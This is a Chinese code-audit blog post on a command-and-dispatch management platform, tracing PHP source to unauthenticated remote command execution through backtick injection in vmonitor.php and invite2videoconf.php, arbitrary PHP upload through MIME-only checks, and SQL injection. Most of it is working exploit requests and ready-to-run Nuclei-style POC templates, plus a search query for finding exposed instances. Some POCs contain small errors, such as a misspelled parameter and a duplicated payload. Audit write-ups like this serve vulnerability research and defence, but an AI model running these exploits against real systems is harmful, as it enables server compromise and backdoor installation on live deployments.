PHP代码审计-某指挥调度管理平台

admin 2023年12月29日08:54:09评论84 views字数 13440阅读44分48秒阅读模式
免责 声明
LR SEC /
LR SEC

序章
LR SEC /
01

本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。

本文章同看雪师傅一同分析和写,所以会利用看雪师傅所写的POC进行辅助。本文只是简单分析PHP代码的漏洞如何产生和利用,后续会写其他难度的语言文章。文章如有不足之处,请见谅。

漏洞描述
LR SEC /
02

漏洞影响:全版本

xx指挥调度管理平台存在多处RCE,任意文件上传以及SQL注入等漏洞,未经身份认证的攻击者可通过上述等漏洞远程执行命令或写入后门等危害所导致服务器失陷。

RCE分析
LR SEC /
03

语法搜索:body="指挥调度管理平台"

Demo1: vmonitor.php接口RCE

在拿到源码后,我们优先观看命令执行的危险函数,例如:

exec -执行命令passthru -执行外部程序并且显示原始输出proc_open -执行一个命令,并且打开用来输入/输出的文件指针shell_exec -通过shell执行命令并将完整的输出以字符串的方式返回system -执行命令并且输出eval() -把字符串当作PHP代码

通过危险函数查看之后,发现只有exec函数有可控参数,shift+ALT+F全局搜索exec

这里重新定义cmd_async($cmd)进行一个命令执行调用,我贴出关键代码。大概逻辑是get请求接收两个参数extensioncalleeuuid,还有session中的local_extension_rang_start,local_extension_rang_end,对call_numbe_array每个元素进行处理,不断的去判断ext_endext_start是否大于0,从而代入calleeuuid参数赋值给$conf_cmd来调用cmd_async()函数命令执行。

$extention_number=trim($_GET['extension']);$calleeuuid=trim($_GET['calleeuuid']);$callee_numbe_array=explode(",",$extention_number);$ext_start = $_SESSION['local_extension_rang_start'];$ext_end = $_SESSION['local_extension_rang_end'];$sched_seconds=0;for($i = 0; $i < count($callee_numbe_array); $i++ ) { if($ext_start >0 && $ext_end > 0){    if(!($callee_numbe_array[$i]>= $ext_start && $callee_numbe_array[$i]<= $ext_end)) {        $bridge_array = outbound_route_to_bridge($_SESSION['domain_uuid'], trim($callee_numbe_array[$i]));        $conf_cmd ="x sched_api +".$sched_seconds." none x originate {x:H264,origination_caller_id_name='video dispatch',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}$bridge_array[0] &eavesdrop($calleeuuid)";    } else {        $sip_dialstring="user/";        $sip_dialstring=$sip_dialstring.$callee_numbe_array[$i]."@".$_SESSION['domain_name'];            $conf_cmd ="x sched_api +".$sched_seconds." none x originate {x,origination_caller_id_name='video monitor',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}$sip_dialstring  &eavesdrop($calleeuuid)";    } } else {  $bridge_array = outbound_route_to_bridge($_SESSION['domain_uuid'], trim($callee_numbe_array[$i]));    if(!empty($bridge_array[0]) && strlen($bridge_array[0]) > 5) {         $conf_cmd ="x sched_api +".$sched_seconds." none x originate {x,origination_caller_id_name='video monitor',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}$bridge_array[0] &eavesdrop($calleeuuid)";    } else {        $sip_dialstring="user/";        $sip_dialstring=$sip_dialstring.$callee_numbe_array[$i]."@".$_SESSION['domain_name'];            $conf_cmd ="x sched_api +".$sched_seconds." none x originate {x:H264,origination_caller_id_name='video monitor',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}$sip_dialstring  &eavesdrop($calleeuuid)";    } }  cmd_async("/usr/local/x/bin/fs_cli -x "".$conf_cmd."";");

那么根据代码传入extension和calleeuuid参数,构造payload1:

GET /api/client/vmonitor.php?extension=1&calleeuuid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}

POC1:

id: x公司指挥调度管理平台RCE

info:
 name: x公司指挥调度管理平台RCE
 author: xxx
 severity: high
 description: description
 reference:
   - https://
 metadata:
   query: body="指挥调度管理平台"    
 tags:

requests:
 - raw:
     - |+
       GET /api/client/vmonitor.php?extension=1&rcalleeuuid=`id>1.txt` HTTP/1.1
       Host: {{Hostname}}

     - |
       GET /api/client/1.txt HTTP/1.1
       Host: {{Hostname}}
       
   matchers:
     - type: dsl
       dsl:
         - contains(body_2,"uid")      

Demo2: invite_one_member接口RCE

因为这里很多接口都跟上面代码类似,都是传入不同参数代入到$conf_cmd中执行以下代码,所以下面就不重复讲解

cmd_async("/usr/local/x/bin/fs_cli -x "".$conf_cmd."";");

payload2:

GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}

POC2:

id: x指挥调度管理平台RCE

info:
 name: x指挥调度管理平台RCE
 author: xxx
 severity: high
 description: description
 reference:
   - https://
 metadata:
   query: body="指挥调度管理平台"    
 tags:

requests:
 - raw:
     - |+
       GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
       Host: {{Hostname}}

     - |
       GET /api/client/1.txt HTTP/1.1
       Host: {{Hostname}}
       
   matchers:
     - type: dsl
       dsl:
         - contains(body_2,"id")      

Demo3: invite2videoconf接口RCE

payload3:

GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}

POC3:

id: x指挥调度管理平台RCE

info:
 name: 2福建科立讯通信有限公司指挥调度管理平台RCE
 author: xxx
 severity: high
 description: description
 reference:
   - https://
 metadata:
   query: body="指挥调度管理平台"    
 tags:

requests:
 - raw:
     - |+
       GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
       Host: {{Hostname}}

     - |
       GET /api/client/1.txt HTTP/1.1
       Host: {{Hostname}}
       
   matchers:
     - type: dsl
       dsl:
         - contains(body_2,"id")      
文件上传分析
LR SEC /
04

Demo1: upload接口任意文件上传

在PHP中找文件上传漏洞,我们可以根据以下关键字或者函数来进行辅助查询

$_FILEStype="file"上传move_uploaded_file()

我这里是全局搜索move_uploaded_file()函数进行查询,发现该函数有以下文件进行调用

跟踪upload.php文件,发现这里的大概逻辑是:

  1. 定义一个types类型,为白名单的后缀

  2. 文件类型检测,只检测MIME类型(Content-Type),没有检测用户输入filename的后缀

  3. 如果MIME类型被满足,那么利用move_uploaded_file()函数来进行上传

<?php  $types=array('txt','png','pdf','jpg','jpeg','amr','wav','mp4','avi','mp3','3gp');  $types1=explode('/', $_FILES['ulfile']['type']);  if(!in_array($types1[1], $types)){    echo json_encode(array("code"=>1,"msg"=>"upload file type error"));    exit();  }  if (is_uploaded_file($_FILES['ulfile']['tmp_name'])) {    move_uploaded_file($_FILES['ulfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/upload/'.$_FILES['ulfile']['name']);  }?>

payload1:

       POST /api/client/upload.php HTTP/1.1
       Host: {{Hostname}}
       Content-Length: 180
       Cache-Control: max-age=0
       Upgrade-Insecure-Requests: 1
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
       Accept-Encoding: gzip, deflate
       Accept-Language: zh-CN,zh;q=0.9
       Connection: close

       ------WebKitFormBoundarySwvD8hSn3Z0sHfMu
       Content-Disposition: form-data; name="ulfile";filename="1.php"
       Content-Type: image/png

       111
       ------WebKitFormBoundarySwvD8hSn3Z0sHfMu--

POC1:

id: 指挥调度管理平台api/client-Upload

info:
 name: 指挥调度管理平台api/client-Upload
 author: xxx
 severity: info
 description: description
 reference:
   - http://
 tags: tags

requests:
 - raw:
     - |
       POST /api/client/upload.php HTTP/1.1
       Host: {{Hostname}}
       Content-Length: 180
       Cache-Control: max-age=0
       Upgrade-Insecure-Requests: 1
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
       Accept-Encoding: gzip, deflate
       Accept-Language: zh-CN,zh;q=0.9
       Connection: close

       ------WebKitFormBoundarySwvD8hSn3Z0sHfMu
       Content-Disposition: form-data; name="ulfile";filename="1.php"
       Content-Type: image/png

       111
       ------WebKitFormBoundarySwvD8hSn3Z0sHfMu--

     - |
       GET /upload/1.php HTTP/1.1
       Host: {{Hostname}}

   matchers-condition: and
   matchers:
     - type: word
       part: body
       words:
         - '111'
     - type: status
       status:
         - 200

Demo2: task-upload、event-uploadfile接口任意文件上传

由于这两个接口的代码类似,所以我写在同一个目录下并且这里代码类似上面的upload代码,简单说一下代码思路:

  1. 对文件名进行处理,定义post两个参数,分别是number和uuid

  2. 创建一个types参数,里面数组为白名单后缀,进行MIME类型判断

  3. 利用move_upload_file函数进行上传

  4. 确定文件类型,根据文件的MIME类型是否包含"image"或者"video"来确定文件的类型

  5. 执行数据库操作

<?php

require_once "../../../includes/require.php";

$filename = preg_replace('/.+(..+)$/',uuid().'$1',$_FILES['uploadfile']['name']);$eventuuid = isset($_POST['uuid']) ? $_POST['uuid'] : "";$number = isset($_POST['number']) ? $_POST['number'] : "";

$types=array('txt','png','pdf','jpg','jpeg','amr','wav','mp4','avi','mp3','3gp');$types1=explode('/', $_FILES['uploadfile']['type']);if(!in_array($types1[1], $types)){  echo json_encode(array("code"=>1,"msg"=>"upload file type error"));  exit();}if (!move_uploaded_file($_FILES['uploadfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/upload/event/'.$filename)) {  echo json_encode(array("code"=>1,"msg"=>"upload file failed"));  exit();}$uuid = uuid();if (is_numeric(strpos($_FILES['uploadfile']['type'], "image"))) {  $type = "image";} else if (is_numeric(strpos($_FILES['uploadfile']['type'], "video"))) {  $type = "video";} else {  echo json_encode(array("code"=>1,"msg"=>"upload file type error"));  exit();}$sql = "INSERT INTO event_list_details(t_uuid,t_event_uuid,t_upload_type,t_upload_content,t_number,t_datetime)";$sql .= "VALUES('$uuid','$eventuuid','$type','upload/event/".$filename."','$number',now())";$prep_statement = $db->prepare(check_sql($sql));if ($prep_statement) {  $prep_statement->execute();}unset($prep_statement);

$result = array("code"=>0,"msg"=>"successed","uuid"=>$uuid,"url"=>"upload/event/".$filename);echo json_encode($result);  exit();?>

payload2:

 POST /api/client/event/uploadfile.php HTTP/1.1
       Host: {{Hostname}}
       Cache-Control: max-age=0
       Upgrade-Insecure-Requests: 1
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
       Accept-Encoding: gzip, deflate
       Accept-Language: zh-CN,zh;q=0.9
       Connection: close
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Length: 372

       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uuid"

       1
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="number"

       1
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uploadfile";filename="1.php"
       Content-Type: image/png

       111
       ------WebKitFormBoundary25qW4eG1Jt50iyf7--
       POST /api/client/task/uploadfile.php HTTP/1.1
       Host: {{Hostname}}
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
       Connection: close
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
       Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71
       Content-Length: 374

       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uuid"

       1
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="number"

       122
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uploadfile";filename="1.php"
       Content-Type: image/jpg

       111
       ------WebKitFormBoundary25qW4eG1Jt50iyf7--

POC2:

id: 指挥调度管理平台api/client/task/-Upload

info:
 name: 指挥调度管理平台api/client/task/-Upload
 author: xxx
 severity: info
 description: description
 reference:
   - http://
variables:
 tags: tags

requests:
 - raw:
     - |-
       POST /api/client/task/uploadfile.php HTTP/1.1
       Host: {{Hostname}}
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
       Connection: close
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
       Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71
       Content-Length: 374

       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uuid"

       1
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="number"

       122
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uploadfile";filename="1.php"
       Content-Type: image/jpg

       111
       ------WebKitFormBoundary25qW4eG1Jt50iyf7--
     - |-
       GET /upload/task/{{timestrp}} HTTP/1.1
       Host: {{Hostname}}

   extractors:
     - type: regex
       name: timestrp
       internal: true
       part: body
       regex:
         - '[0-9a-zA-Z]{8}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{12}.php'        
       

   matchers-condition: and
   matchers:
     - type: word
       part: body
       words:
         - 111
     - type: status
       status:
         - 200
id: 指挥调度管理平台api/client/event-Uplaod

info:
 name: 指挥调度管理平台api/client/event-Uplaod
 author: xxx
 severity: info
 description: description
 reference:
   - http://
variables:
 tags: tags

requests:
 - raw:
     - |-
       POST /api/client/event/uploadfile.php HTTP/1.1
       Host: {{Hostname}}
       Cache-Control: max-age=0
       Upgrade-Insecure-Requests: 1
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
       Accept-Encoding: gzip, deflate
       Accept-Language: zh-CN,zh;q=0.9
       Connection: close
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Length: 372

       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uuid"

       1
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="number"

       1
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uploadfile";filename="1.php"
       Content-Type: image/png

       111
       ------WebKitFormBoundary25qW4eG1Jt50iyf7--

     - |-
       GET /upload/event/{{timestrp}} HTTP/1.1
       Host: {{Hostname}}

   extractors:
     - type: regex
       name: timestrp
       internal: true
       part: body
       regex:
         - '[0-9a-zA-Z]{8}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{12}.php'        
       

   matchers-condition: and
   matchers:
     - type: word
       part: body
       words:
         - 111
     - type: status
       status:
         - 200

Demo3: custom接口任意文件上传

该上传为其他目录的接口,但代码都一样只是目录不相同而已,下面就写一个为例子

分别为:custom/zx/event/uploadfile.php

custom/zx/task/uploadfile.phpc

payload3:

       POST /custom/zx/event/uploadfile.php HTTP/1.1
       Host: {{Hostname}}
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
       Connection: close
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
       Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71
       Content-Length: 374

       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uuid"

       1
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="number"

       122
       ------WebKitFormBoundary25qW4eG1Jt50iyf7
       Content-Disposition: form-data; name="uploadfile";filename="1.php"
       Content-Type: image/jpg

       111
       ------WebKitFormBoundary25qW4eG1Jt50iyf7--

SQL分析
LR SEC /
05

Demo1: departments接口SQL注入

寻找SQL注入,我们一般通过select,update,insert等数据库关键字或者关键函数

select frommysql_querymysqli_multi_query()insertmysqliupdate

我这里使用select关键进行查询,观看sql执行语句中是否有参数可控,是否有过滤,观察departments文件有可控参数,跟踪查看

跟踪代码查询发现用户传入usernumber参数,并且没有过滤直接代入到sql语句中

在一般的情况下,我们要注意还有避免PDO的预处理语句,比如这里带入的sql语句进行预编译处理。

$prep_statement = $db->prepare(check_sql($sql));$prep_statement->execute();$result = $prep_statement->fetchAll(PDO::FETCH_ASSOC);

payload:

GET /custom/zx/departments.php?usernumer=1 HTTP/1.1
Host: {{Hostname}}

结语

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月29日08:54:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP代码审计-某指挥调度管理平台http://cn-sec.com/archives/2346302.html

发表评论

匿名网友 填写信息